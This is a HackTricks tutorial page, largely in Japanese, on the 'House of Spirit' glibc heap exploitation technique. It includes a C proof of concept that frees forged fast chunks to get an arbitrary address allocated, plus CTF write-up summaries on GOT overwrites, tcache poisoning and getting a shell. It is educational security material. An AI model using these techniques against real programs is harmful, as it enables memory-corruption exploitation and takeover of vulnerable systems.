hacktricks/binary-exploitation/libc-heap/house-of-spirit.md

7.6 KiB
Raw Blame History

House of Spirit

{% hint style="success" %} AWSハッキングの学習と練習:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングの学習と練習: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksのサポート
{% endhint %}

基本情報

コード

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### ゴール

* tcache / fast bin にアドレスを追加できるようにする

### 必要条件

* この攻撃には、攻撃者が正しくサイズ値を示すいくつかの偽の fast チャンクを作成し、最初の偽のチャンクを解放してビンに入れる能力が必要です。

### 攻撃

* セキュリティチェックをバイパスする偽のチャンクを作成します基本的には、正しい位置に正しいサイズを示す2つの偽のチャンクが必要です
* 最初の偽のチャンクを解放して、それが速いまたは tcache ビンに入るようにし、そのアドレスを上書きするためにそれを割り当てます

**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)** のコードは、攻撃を理解するのに非常に役立ちます。** ただし、このコードからのスキーマはそれをかなりうまく要約しています:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

{% hint style="info" %} 第二のチャンクを作成することで一部のセーニティチェックをバイパスする必要があることに注意してください。 {% endhint %}

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: オーバーフローを介して、CTFのreadアクションを介してlibcアドレスをリークするために、ポインタをGOTアドレスを指すように変更することが可能です。

  • House of Spirit: "ライフル"の数をカウントするカウンタを悪用することで、最初の偽のチャンクの偽のサイズを生成することが可能であり、"メッセージ"を悪用することでチャンクの2番目のサイズを偽造することが可能です。最後に、オーバーフローを悪用することで、解放されるポインタを変更することが可能であり、その結果、最初の偽のチャンクが解放されます。その後、それを割り当て、その中に"メッセージ"が格納されているアドレスが含まれています。次に、これをscanfエントリが格納されているGOTテーブルに指すようにすることが可能であり、そのため、システムのアドレスでそれを上書きすることが可能です。次にscanfが呼び出されると、入力"/bin/sh"を送信してシェルを取得することが可能です。

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: 初期化されていないスタックバッファ。

  • House of Spirit: ヒープポインタのグローバル配列の最初のインデックスを変更することが可能です。1バイトの修正で、有効なチャンク内の偽のチャンクにfreeを使用し、再度割り当てると、オーバーラップするチャンクの状況が得られます。それにより、単純なTcacheポイズニング攻撃が機能して、任意の書き込みプリミティブを取得することが可能です。

References

{% hint style="success" %} AWSハッキングの学習と練習:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングの学習と練習: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksのサポート
{% endhint %}